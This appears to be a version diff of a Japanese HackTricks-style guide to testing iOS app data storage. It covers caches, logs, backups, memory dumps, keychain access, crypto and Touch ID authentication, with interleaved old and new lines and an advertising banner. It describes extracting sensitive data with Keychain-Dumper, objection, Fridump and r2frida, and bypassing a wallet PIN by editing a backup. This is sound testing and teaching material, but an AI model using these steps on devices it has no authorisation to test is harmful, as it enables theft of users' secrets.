開発者はFirebase Real-Time Databasesを通じて、**NoSQLクラウドホスト型データベース**内でデータを**保存および同期**することができます。データはJSON形式で保存され、リアルタイムですべての接続されたクライアントに同期されます。
|
||||
|
||||
Firebaseデータベースの設定ミスをチェックする方法はこちらで確認できます:
|
||||
|
||||
{% content-ref url="../../network-services-pentesting/pentesting-web/buckets/firebase-database.md" %}
|
||||
[firebase-database.md](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
{% endcontent-ref %}
|
||||
Firebaseデータベースの設定ミスをチェックする方法は[こちら](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)で確認できます。
|
||||
|
||||
### Realm databases
|
||||
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/)および[Realm Swift](https://realm.io/docs/swift/latest/)は、Appleによって提供されていないデータ保存の強力な代替手段を提供します。デフォルトでは、データは暗号化されず、特定の構成を介して暗号化が可能です。
|
||||
|
||||
データベースは次の場所にあります:`/private/var/mobile/Containers/Data/Application/{APPID}`。これらのファイルを探索するために、次のようなコマンドを利用することができます:
|
||||
データベースは次の場所にあります:`/private/var/mobile/Containers/Data/Application/{APPID}`。これらのファイルを調査するために、次のようなコマンドを利用することができます:
|
||||
```bash
|
||||
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
|
||||
default.realm default.realm.lock default.realm.management/ default.realm.note|
|
||||
|
@ -498,15 +492,15 @@ fatalError("Error opening realm: \(error)")
|
|||
```
|
||||
### Couchbase Lite データベース
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) は、**軽量**かつ**組み込み**のデータベースエンジンで、**ドキュメント指向**(NoSQL)アプローチに従っています。**iOS**と**macOS**にネイティブで設計されており、データをシームレスに同期する機能を提供しています。
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios)は、**軽量**かつ**組み込み**のデータベースエンジンであり、**ドキュメント指向**(NoSQL)アプローチに従っています。**iOS**と**macOS**向けにネイティブに設計されており、データをシームレスに同期する機能を提供しています。
|
||||
|
||||
デバイス上の潜在的なCouchbaseデータベースを特定するには、次のディレクトリを調査する必要があります:
|
||||
デバイス上で潜在的なCouchbaseデータベースを特定するには、次のディレクトリを調査する必要があります:
|
||||
```bash
|
||||
ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support/
|
||||
```
|
||||
### Cookies
|
||||
|
||||
iOSはアプリのクッキーを各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**に保存します。ただし、開発者は時々、**cookieファイルがバックアップでアクセスできる**ため、それらを**キーチェーン**に保存することを選択します。
|
||||
iOSアプリのクッキーは、各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`**に保存されます。ただし、開発者は時々、**クッキーファイルがバックアップでアクセス可能**であるため、それらを**キーチェーン**に保存することを選択することがあります。
|
||||
|
||||
クッキーファイルを検査するには、[**このPythonスクリプト**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser)を使用するか、objectionの**`ios cookies get`**を使用できます。\
|
||||
**また、objectionを使用して**これらのファイルをJSON形式に変換してデータを検査することもできます。
|
||||
|
@ -527,9 +521,9 @@ iOSはアプリのクッキーを各アプリのフォルダ内の**`Library/Coo
|
|||
```
|
||||
### キャッシュ
|
||||
|
||||
デフォルトでは、NSURLSessionは**HTTPリクエストとレスポンスをCache.db**データベースに保存します。このデータベースには、トークン、ユーザー名、またはその他の機密情報がキャッシュされている場合、**機密データ**が含まれている可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/<UUID>`)を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドでデータベースを開いて操作することができます。これは**通常のSQLiteデータベース**です。
|
||||
デフォルトでは、NSURLSessionは**HTTPリクエストとレスポンスをCache.dbデータベースに保存**します。このデータベースには、**トークン、ユーザー名、またはその他の機密情報**がキャッシュされている場合があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ(`/var/mobile/Containers/Data/Application/<UUID>`)を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.dbファイルに保存**されています。**Objection**は、`sqlite connect Cache.db`コマンドでデータベースを開いて操作できます。これは**通常のSQLiteデータベース**です。
|
||||
|
||||
このデータのキャッシュを無効にすることを**推奨**します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストには、これを実現するさまざまな方法が示されています。
|
||||
このデータのキャッシュを無効にすることを**お勧め**します。リクエストやレスポンスに機密情報が含まれている可能性があります。以下は、これを実現するさまざまな方法のリストです:
|
||||
|
||||
1. ログアウト後にキャッシュされたレスポンスを削除することをお勧めします。Appleが提供する[`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses)メソッドを使用してこれを行うことができます。次のようにこのメソッドを呼び出すことができます:
|
||||
|
||||
|
@ -538,18 +532,18 @@ iOSはアプリのクッキーを各アプリのフォルダ内の**`Library/Coo
|
|||
このメソッドは、Cache.dbファイルからすべてのキャッシュされたリクエストとレスポンスを削除します。
|
||||
2. クッキーの利点を利用する必要がない場合は、URLSessionの[.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral)構成プロパティを使用することをお勧めします。これにより、クッキーとキャッシュの保存が無効になります。
|
||||
|
||||
[Appleのドキュメント](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
[Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`ephemeralセッション構成オブジェクトは、デフォルトのセッション構成(defaultを参照)と似ていますが、対応するセッションオブジェクトは、キャッシュ、資格情報ストア、またはディスクへのセッション関連データを保存しません。代わりに、セッション関連データはRAMに保存されます。ephemeralセッションがデータをディスクに書き込む唯一の場合は、URLの内容をファイルに書き込むように指示したときです。`
|
||||
3. キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することで、キャッシュをメモリやディスクに保存しないようにすることもできます。
|
||||
`ephemeralセッション構成オブジェクトは、デフォルトのセッション構成(defaultを参照)と似ていますが、対応するセッションオブジェクトは、キャッシュ、資格情報ストア、またはディスクにセッション関連データを保存しません。代わりに、セッション関連データはRAMに保存されます。ephemeralセッションがデータをディスクに書き込む唯一の場合は、URLの内容をファイルに書き込むように指示した場合です。`
|
||||
3. キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することで、キャッシュをメモリやディスクに保存しないように無効にすることもできます。
|
||||
|
||||
### スナップショット
|
||||
|
||||
ホームボタンを押すたびに、iOSは**現在の画面のスナップショット**を取得して、アプリケーションへの遷移をよりスムーズに行うことができます。ただし、**機密データ**が現在の画面に存在する場合、それは**画像に保存**されます(これは**再起動を超えて永続化**されます)。これらは、アプリケーション間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
|
||||
ホームボタンを押すたびに、iOSは**現在の画面のスナップショット**を取得して、アプリケーションへの遷移をよりスムーズに行うことができます。ただし、**現在の画面に機密データ**がある場合、それは**画像に保存**されます(これは**再起動を超えて永続化**されます)。これらは、アプリケーション間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
|
||||
|
||||
iPhoneがジェイルブレイクされていない限り、**攻撃者**はこれらのスクリーンショットを見るためには**デバイスをアンロック**する必要があります。デフォルトでは、最後のスナップショットは`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダにアプリのサンドボックス内に保存されます(信頼されたコンピュータはiOS 7.0からファイルシステムにアクセスできません)。
|
||||
iPhoneがジェイルブレイクされていない限り、**攻撃者**はこれらのスクリーンショットを見るためには**デバイスのアンロックが必要**です。デフォルトでは、最後のスナップショットはアプリのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダに保存されます(信頼されたコンピュータはiOS 7.0以降ではファイルシステムにアクセスできません)。
|
||||
|
||||
この悪い振る舞いを防ぐ方法の1つは、スナップショットを取る前に空白の画面を表示するか、機密データを削除することです。これは`ApplicationDidEnterBackground()`関数を使用して行います。
|
||||
この悪い動作を防ぐ方法の1つは、スナップショットを取る前に空白の画面を表示するか、機密データを削除することです。これは`ApplicationDidEnterBackground()`関数を使用して行います。
|
||||
|
||||
以下は、デフォルトのスクリーンショットを設定するサンプルの緩和方法です。
|
||||
|
||||
|
@ -570,7 +564,7 @@ backgroundImage?.removeFromSuperview()
|
|||
```
|
||||
Objective-C:
|
||||
|
||||
Objective-C(オブジェクティブシー):
|
||||
Objective-C(オブジェクティブシー):
|
||||
```
|
||||
@property (UIImageView *)backgroundImage;
|
||||
|
||||
|
@ -593,7 +587,7 @@ iOSキーチェーンへのアクセスと管理には、[**Keychain-Dumper**](h
|
|||
|
||||
#### **資格情報の保存**
|
||||
|
||||
**NSURLCredential**クラスは、機密情報を直接キーチェーンに保存するために理想的であり、NSUserDefaultsや他のラッパーをバイパスします。ログイン後に資格情報を保存するには、次のSwiftコードが使用されます:
|
||||
**NSURLCredential**クラスは、機密情報を直接キーチェーンに保存するのに最適であり、NSUserDefaultsや他のラッパーをバイパスします。ログイン後に資格情報を保存するには、次のSwiftコードが使用されます:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
|
@ -601,44 +595,44 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
|||
```
|
||||
## **カスタムキーボードとキーボードキャッシュ**
|
||||
|
||||
iOS 8.0以降、ユーザーは**Settings > General > Keyboard > Keyboards**の下でカスタムキーボード拡張機能をインストールできます。これらのキーボードは拡張機能を提供しますが、キーストロークの記録や外部サーバーへのデータ送信のリスクがあります。ただし、ユーザーにはネットワークアクセスが必要なキーボードについて通知されます。アプリは、カスタムキーボードの使用を機密情報の入力に制限すべきです。
|
||||
iOS 8.0以降、ユーザーは**Settings > General > Keyboard > Keyboards**の下でカスタムキーボード拡張機能をインストールできます。これらのキーボードは拡張機能を提供しますが、キーストロークの記録や外部サーバーへのデータ送信のリスクがあります。ただし、ユーザーはネットワークアクセスが必要なキーボードについて通知されます。アプリは、カスタムキーボードの使用を機密情報の入力に制限すべきです。
|
||||
|
||||
**セキュリティ推奨事項:**
|
||||
|
||||
- セキュリティを強化するために、サードパーティのキーボードを無効にすることが推奨されています。
|
||||
- デフォルトのiOSキーボードの自動修正機能やオートサジェスト機能に注意することが重要です。これらは、`Library/Keyboard/{locale}-dynamic-text.dat`または`/private/var/mobile/Library/Keyboard/dynamic-text.dat`にあるキャッシュファイルに機密情報を保存する可能性があります。これらのキャッシュファイルは定期的に機密データをチェックすべきです。キーボード辞書を**Settings > General > Reset > Reset Keyboard Dictionary**からリセットすることで、キャッシュされたデータをクリアすることが推奨されています。
|
||||
- ネットワークトラフィックを傍受することで、カスタムキーボードがリモートでキーストロークを送信しているかどうかがわかります。
|
||||
* セキュリティを強化するために、サードパーティのキーボードを無効にすることが推奨されています。
|
||||
* デフォルトのiOSキーボードの自動修正やオートサジェスト機能に注意することが重要です。これらは、`Library/Keyboard/{locale}-dynamic-text.dat`または`/private/var/mobile/Library/Keyboard/dynamic-text.dat`にあるキャッシュファイルに機密情報を保存する可能性があります。これらのキャッシュファイルは定期的に機密データをチェックする必要があります。キーボード辞書を**Settings > General > Reset > Reset Keyboard Dictionary**からリセットしてキャッシュされたデータをクリアすることが推奨されています。
|
||||
* ネットワークトラフィックを傍受することで、カスタムキーボードがリモートでキーストロークを送信しているかどうかがわかります。
|
||||
|
||||
### **テキストフィールドキャッシュの防止**
|
||||
### **テキストフィールドキャッシングの防止**
|
||||
|
||||
[UITextInputTraitsプロトコル](https://developer.apple.com/reference/uikit/uitextinputtraits)は、自動修正やセキュアなテキスト入力を管理するプロパティを提供し、機密情報のキャッシュを防ぐために重要です。たとえば、自動修正を無効にし、セキュアなテキスト入力を有効にすることは、次のように実現できます:
|
||||
[UITextInputTraitsプロトコル](https://developer.apple.com/reference/uikit/uitextinputtraits)は、自動修正やセキュアなテキスト入力を管理するプロパティを提供し、機密情報のキャッシングを防ぐために重要です。たとえば、自動修正を無効にし、セキュアなテキスト入力を有効にすることは、次のように実現できます:
|
||||
```objectivec
|
||||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
textObject.secureTextEntry = YES;
|
||||
```
|
||||
また、開発者は、特にパスワードやPINなどの機密情報を入力するためのテキストフィールドについて、`autocorrectionType`を`UITextAutocorrectionTypeNo`に設定し、`secureTextEntry`を`YES`に設定することでキャッシュを無効にするようにする必要があります。
|
||||
また、開発者は、`autocorrectionType`を`UITextAutocorrectionTypeNo`に設定し、`secureTextEntry`を`YES`に設定することでキャッシュを無効にし、パスワードやPINなどの機密情報を入力するためのテキストフィールドが特にそれを行うようにする必要があります。
|
||||
```objectivec
|
||||
UITextField *textField = [[UITextField alloc] initWithFrame:frame];
|
||||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **ログ**
|
||||
|
||||
デバッグコードにはしばしば**ログ**の使用が含まれます。**ログには機密情報が含まれる可能性**があります。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリからアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分自身のログにのみアクセスできるように制限されています**。
|
||||
デバッグコードでは、**ログ**の使用が一般的です。**ログには機密情報が含まれる可能性**があります。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリからアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分自身のログにのみアクセスできるように制限されています**。
|
||||
|
||||
これらの制限にもかかわらず、**ロック解除されたデバイスに物理的アクセス**を持つ攻撃者は、デバイスをコンピュータに接続してログを**読む**ことでこれを悪用することができます。ログはアプリのアンインストール後もディスク上に残っていることに注意することが重要です。
|
||||
|
||||
リスクを軽減するためには、アプリと**徹底的にやり取り**し、機密情報が誤ってログに記録されていないかを確認するために、すべての機能と入力を調査することが推奨されています。
|
||||
|
||||
潜在的な漏洩を確認するためにアプリのソースコードを確認する際には、`NSLog`、`NSAssert`、`NSCAssert`、`fprintf`などの組み込み関数に関連する**事前定義**および**カスタムログステートメント**、およびカスタム実装に関連する`Logging`または`Logfile`などのキーワードを探します。
|
||||
潜在的な漏洩を確認するためにアプリのソースコードを確認する際には、**事前定義**および**カスタムログステートメント**を探し、組み込み関数用の `NSLog`、`NSAssert`、`NSCAssert`、`fprintf`、およびカスタム実装用の `Logging` または `Logfile` のようなキーワードを使用してください。
|
||||
|
||||
### **システムログの監視**
|
||||
|
||||
アプリはさまざまな情報をログに記録することがあり、これらは機密情報になる可能性があります。これらのログを監視するために、次のようなツールやコマンドがあります:
|
||||
アプリはさまざまな情報をログに記録しますが、これらは機密情報になる可能性があります。これらのログを監視するために、次のようなツールやコマンドが使用されます:
|
||||
```bash
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
```
|
||||
以下は役立ちます。さらに、**Xcode** はコンソールログを収集する方法を提供します:
|
||||
以下の手順は役立ちます。さらに、**Xcode** はコンソールログを収集する方法を提供します:
|
||||
|
||||
1. Xcode を開きます。
|
||||
2. iOS デバイスを接続します。
|
||||
|
@ -647,27 +641,25 @@ idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
|||
5. 調査中の問題をトリガーします。
|
||||
6. **Open Console** ボタンを使用して、新しいウィンドウでログを表示します。
|
||||
|
||||
より高度なログ記録のために、デバイスシェルに接続して **socat** を使用することでリアルタイムのログモニタリングが可能です:
|
||||
より高度なログ記録のために、デバイスシェルに接続して **socat** を使用することでリアルタイムのログモニタリングが可能です:
|
||||
```bash
|
||||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
```
|
||||
### ログアクティビティの観察
|
||||
|
||||
ログアクティビティを観察するコマンドは、問題の診断やログ内の潜在的なデータ漏洩の特定に非常に役立ちます。
|
||||
### ログアクティビティの観察コマンドに続いて、問題の診断やログ内の潜在的なデータ漏洩の特定に役立つかもしれないコマンドがあります。
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**できます。\
|
||||
今すぐアクセスしてください:
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## バックアップ
|
||||
|
||||
iOSには**自動バックアップ機能**が統合されており、iTunes(macOS Catalinaまで)、Finder(macOS Catalina以降)、またはiCloudを介してデバイスデータのコピーを簡単に作成できます。これらのバックアップには、Apple Payの詳細やTouch IDの構成などの高度に機密性の高い要素を除く、ほぼすべてのデバイスデータが含まれています。
|
||||
iOSには**オートバックアップ機能**が統合されており、iTunes(macOS Catalinaまで)、Finder(macOS Catalina以降)、またはiCloudを介してデバイスデータのコピーを簡単に作成できます。これらのバックアップには、Apple Payの詳細やTouch IDの構成などの高度に機密性の高い要素を除く、ほぼすべてのデバイスデータが含まれています。
|
||||
|
||||
### セキュリティリスク
|
||||
|
||||
|
@ -679,9 +671,9 @@ iOSには**自動バックアップ機能**が統合されており、iTunes(m
|
|||
|
||||
### 脆弱性のテスト
|
||||
|
||||
アプリのバックアップセキュリティを評価するためには、まずFinderを使用してバックアップを作成し、次に[Appleの公式ドキュメント](https://support.apple.com/en-us/HT204215)のガイダンスに従ってそのバックアップを特定します。バックアップを機密データや構成の観点から分析し、アプリの動作に影響を与える可能性のあるものを特定します。
|
||||
アプリのバックアップセキュリティを評価するためには、Finderを使用して**バックアップを作成**し、次に[Appleの公式ドキュメント](https://support.apple.com/en-us/HT204215)のガイダンスに従ってそれを特定します。バックアップを機密データや構成の分析し、アプリの動作に影響を与える可能性のあるものを確認します。
|
||||
|
||||
機密情報は、コマンドラインツールや[iMazing](https://imazing.com)などのアプリケーションを使用して検索できます。暗号化されたバックアップの場合、暗号化の有無は、バックアップのルートにある"Manifest.plist"ファイル内の"IsEncrypted"キーを確認することで確認できます。
|
||||
機密情報は、コマンドラインツールや[iMazing](https://imazing.com)などのアプリケーションを使用して検索できます。暗号化されたバックアップの場合、暗号化の存在は、バックアップのルートにある"Manifest.plist"ファイル内の"IsEncrypted"キーを確認することで確認できます。
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -696,19 +688,19 @@ iOSには**自動バックアップ機能**が統合されており、iTunes(m
|
|||
```
|
||||
### 暗号化されたバックアップの取り扱い
|
||||
|
||||
暗号化されたバックアップに対処するために、[DinoSecのGitHubリポジトリ](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts)で利用可能なPythonスクリプト、**backup\_tool.py**や**backup\_passwd.py**などが役立つかもしれませんが、最新のiTunes/Finderバージョンとの互換性を確保するために調整が必要かもしれません。[**iOSbackup**ツール](https://pypi.org/project/iOSbackup/)も、パスワードで保護されたバックアップ内のファイルにアクセスする別のオプションです。
|
||||
暗号化されたバックアップに対処するために、[DinoSecのGitHubリポジトリ](https://github.com/dinosec/iphone-dataprotection/tree/master/python\_scripts)で利用可能なPythonスクリプト、例えば**backup\_tool.py**や**backup\_passwd.py**などが役立つかもしれませんが、最新のiTunes/Finderバージョンとの互換性を確保するために調整が必要かもしれません。[**iOSbackup**ツール](https://pypi.org/project/iOSbackup/)も、パスワードで保護されたバックアップ内のファイルにアクセスする別のオプションです。
|
||||
|
||||
### アプリの動作の変更
|
||||
|
||||
バックアップの変更を通じてアプリの動作を変更する例として、[Bither bitcoin walletアプリ](https://github.com/bither/bither-ios)があります。ここでは、UIロックPINが**pin\_code**キーの下に`net.bither.plist`に保存されています。このキーをplistから削除し、バックアップを復元すると、PINの要件がなくなり、制限なしにアクセスできます。
|
||||
バックアップの変更を通じてアプリの動作を変更する例として、[Bitherビットコインウォレットアプリ](https://github.com/bither/bither-ios)があります。ここでは、UIロックPINが**pin\_code**キーの下に`net.bither.plist`に保存されています。このキーをplistから削除し、バックアップを復元すると、PINの要件が削除され、制限なしにアクセスできるようになります。
|
||||
|
||||
## 機密データのメモリテストに関する要約
|
||||
## 機密データのメモリテストに関するまとめ
|
||||
|
||||
アプリケーションのメモリに保存されている機密情報を取り扱う際には、このデータの露出時間を制限することが重要です。メモリコンテンツを調査するための主なアプローチには、**メモリダンプの作成**と**リアルタイムでのメモリの分析**があります。両方の方法には、ダンププロセスや分析中に重要なデータを見逃す可能性など、さまざまな課題があります。
|
||||
アプリケーションのメモリに保存されている機密情報を取り扱う際には、このデータの露出時間を制限することが重要です。メモリ内容を調査するための主なアプローチには、**メモリダンプの作成**と**リアルタイムでのメモリ解析**があります。両方の方法には、ダンププロセスや解析中に重要なデータを見逃す可能性など、さまざまな課題があります。
|
||||
|
||||
## **メモリダンプの取得と分析**
|
||||
## **メモリダンプの取得と解析**
|
||||
|
||||
脱獄済みおよび非脱獄済みデバイスの両方に対して、[objection](https://github.com/sensepost/objection)や[Fridump](https://github.com/Nightbringer21/fridump)などのツールを使用して、アプリのプロセスメモリをダンプすることができます。一度ダンプしたら、このデータを分析するには、検索している情報の性質に応じてさまざまなツールが必要です。
|
||||
脱獄済みおよび非脱獄デバイスの両方に対して、[objection](https://github.com/sensepost/objection)や[Fridump](https://github.com/Nightbringer21/fridump)などのツールを使用して、アプリのプロセスメモリをダンプすることができます。一度ダンプしたら、このデータを解析するには、検索している情報の性質に応じてさまざまなツールが必要です。
|
||||
|
||||
メモリダンプから文字列を抽出するには、`strings`や`rabin2 -zz`などのコマンドを使用できます。
|
||||
```bash
|
||||
|
@ -726,7 +718,7 @@ $ r2 <name_of_your_dump_file>
|
|||
```
|
||||
## **ランタイムメモリ解析**
|
||||
|
||||
**r2frida**は、メモリダンプを必要とせずに、アプリのメモリをリアルタイムで調査する強力な代替手段を提供します。このツールを使用すると、実行中のアプリケーションのメモリ上で直接検索コマンドを実行できます。
|
||||
**r2frida**は、メモリダンプを必要とせずにリアルタイムでアプリのメモリを調査する強力な代替手段を提供します。このツールを使用すると、実行中のアプリケーションのメモリ上で検索コマンドを直接実行できます。
|
||||
```bash
|
||||
$ r2 frida://usb//<name_of_your_app>
|
||||
[0x00000000]> /\ <search_command>
|
||||
|
@ -735,21 +727,21 @@ $ r2 frida://usb//<name_of_your_app>
|
|||
|
||||
### 鍵管理プロセスの不備
|
||||
|
||||
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード化/予測可能なキーで暗号化しています。これは行ってはいけません。リバースエンジニアリングによって攻撃者が機密情報を抽出できる可能性があります。
|
||||
一部の開発者は、機密データをローカルストレージに保存し、コード内でハードコード化/予測可能なキーで暗号化しています。これは行ってはいけません。逆向きの操作により、攻撃者が機密情報を抽出する可能性があります。
|
||||
|
||||
### 安全でないおよび/または非推奨のアルゴリズムの使用
|
||||
|
||||
開発者は、**非推奨のアルゴリズム**を使用して認証**チェック**、データの**保存**または**送信**を行うべきではありません。これらのアルゴリズムの一部には、RC4、MD4、MD5、SHA1などがあります。たとえばパスワードを保存するために**ハッシュ**が使用されている場合、ソルトを使用したハッシュブルートフォース**耐性**が必要です。
|
||||
開発者は、**非推奨のアルゴリズム**を使用して認証**チェック**、データの**保存**または**送信**を行うべきではありません。これらのアルゴリズムの一部には、RC4、MD4、MD5、SHA1などがあります。たとえばパスワードを保存するために**ハッシュ**が使用されている場合、ソルトを使用したハッシュがブルートフォース攻撃に**耐性**があるべきです。
|
||||
|
||||
### チェック
|
||||
|
||||
コード内に**ハードコード**されたパスワード/シークレットが見つかるか、それらが**予測可能**であるか、コードが**弱い** **暗号化**アルゴリズムを使用しているかを確認するために行う主なチェックです。
|
||||
|
||||
興味深いことに、**objection**を使用して一部の**暗号** **ライブラリ**を自動的に**監視**できます。
|
||||
興味深いことに、**objection**を使用していくつかの**暗号** **ライブラリ**を自動的に**監視**できます。
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
**iOS暗号APIおよびライブラリに関する詳細**については、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)にアクセスしてください。
|
||||
**iOS暗号APIおよびライブラリ**に関する詳細は、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)にアクセスしてください。
|
||||
|
||||
## ローカル認証
|
||||
|
||||
|
@ -763,28 +755,25 @@ Touch ID/Face IDを統合するために、開発者は2つのAPI選択肢があ
|
|||
* **`Security.framework`**:生体認証で秘密データを保護し、キーチェーンサービスにアクセスします。さまざまな[オープンソースのラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)がキーチェーンアクセスを簡素化しています。
|
||||
|
||||
{% hint style="danger" %}
|
||||
ただし、`LocalAuthentication.framework`と`Security.framework`の両方には脆弱性があり、主に認証プロセスのデータを送信せずにブール値を返すため、バイパスされやすくなっています([Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)を参照)。
|
||||
ただし、`LocalAuthentication.framework`と`Security.framework`の両方には脆弱性があり、主に認証プロセスのためにデータを送信せずにブール値を返すため、バイパスされやすくなっています([Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)を参照)。
|
||||
{% endhint %}
|
||||
|
||||
### ローカル認証の実装
|
||||
|
||||
ユーザーに認証を求めるために、開発者は**`LAContext`**クラス内の**`evaluatePolicy`**メソッドを使用し、次のいずれかを選択する必要があります:
|
||||
ユーザーに認証を求めるために、開発者は**`LAContext`**クラス内の**`evaluatePolicy`**メソッドを使用し、次のいずれかを選択します:
|
||||
|
||||
* **`deviceOwnerAuthentication`**:Touch IDまたはデバイスのパスコードを求め、どちらも有効になっていない場合は失敗します。
|
||||
* **`deviceOwnerAuthentication`**:Touch IDまたはデバイスのパスコードを求め、どちらも有効でない場合は失敗します。
|
||||
* **`deviceOwnerAuthenticationWithBiometrics`**:Touch IDのみを求めます。
|
||||
|
||||
**`evaluatePolicy`**からのブール値の返り値によって、認証が成功したかどうかが示され、潜在的なセキュリティ上の欠陥が明らかになります。
|
||||
**`evaluatePolicy`**からのブール値の返り値によって、成功した認証が示され、潜在的なセキュリティ上の欠陥が強調されます。
|
||||
|
||||
### キーチェーンを使用したローカル認証
|
||||
|
||||
iOSアプリで**ローカル認証**を実装するには、認証トークンなどの秘密データを安全に保存するために**キーチェーンAPI**を使用します。このプロセスにより、データはユーザーによってのみアクセスでき、デバイスのパスコードやTouch IDなどの生体認証を使用して認証されます。
|
||||
iOSアプリで**ローカル認証**を実装するには、**キーチェーンAPI**を使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーが自分のデバイスのパスコードまたはTouch IDなどの生体認証を使用してのみアクセスできるようになります。
|
||||
|
||||
キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードを使用して正常に認証するまで、アイテムへのアクセスを制限します。この機能はセキュリティを向上させるために重要です。
|
||||
キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードを使用して正常に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。
|
||||
|
||||
以下は、SwiftとObjective-Cで、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示すコード例です。これらの例は、Touch ID認証が必要であり、データが設定されたデバイスのみでアクセス可能であることを確認するためにアクセス制御を設定する方法を具体的に示しています。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="Swift" %}
|
||||
以下は、SwiftとObjective-Cで、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示すコード例です。これらの例は、Touch ID認証が必要であり、デバイスのパスコードが構成されている場合にのみデータにアクセスできるようにする方法を具体的に示しています。
|
||||
```swift
|
||||
// From https://github.com/mufambisi/owasp-mstg/blob/master/Document/0x06f-Testing-Local-Authentication.md
|
||||
|
||||
|
@ -825,7 +814,7 @@ if status == noErr {
|
|||
|
||||
{% tab title="Objective-C" %}
|
||||
|
||||
iOSアプリケーションのペネトレーションテストを行う際に、Objective-Cの知識が必要となる場合があります。Objective-Cは、iOSアプリケーションの開発に広く使用されているプログラミング言語です。ペネトレーションテスターは、Objective-Cの基本構文やiOSアプリケーションでの使用方法を理解する必要があります。アプリケーションの解析や脆弱性の特定に役立つことがあります。
|
||||
iOSアプリケーションのペネトレーションテストを行う際に、Objective-Cの知識が必要となる場合があります。Objective-CはiOSアプリケーションの開発で広く使用されているプログラミング言語です。ペネトレーションテスターはObjective-Cの基本的な構文やiOSアプリケーションでの使用方法を理解する必要があります。{% endtab %}
|
||||
```objectivec
|
||||
// 1. create AccessControl object that will represent authentication settings
|
||||
CFErrorRef *err = nil;
|
||||
|
